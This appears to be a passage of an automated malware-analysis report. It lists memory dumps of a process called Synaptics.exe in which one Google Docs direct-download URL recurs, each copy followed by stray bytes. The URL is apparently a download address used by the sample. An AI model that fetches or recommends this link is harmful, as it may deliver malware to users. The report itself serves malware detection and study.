Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4191109308.000000003D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom.
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...%
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...D
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...S
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...u
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador_1
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorl
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadors/
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoutu
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpag
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpp
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpz
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq4
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqD0n
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqJ6j_
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqr
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.$
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.P
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.t
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrN7n
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrb4o
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadred.m
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrity
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrv
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrver
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.cne
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.exA
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsG4i
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadscree
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsearc
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsers
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadservi
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadso
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt.cn
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt2-cn.co
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtL=l0
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtlen
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleni
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.000000000729C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduld.
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduluna
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadulunaY
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvI3kv
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvc0n
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvq
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4062607736.000000001DDC5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4178945462.000000003D5A7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
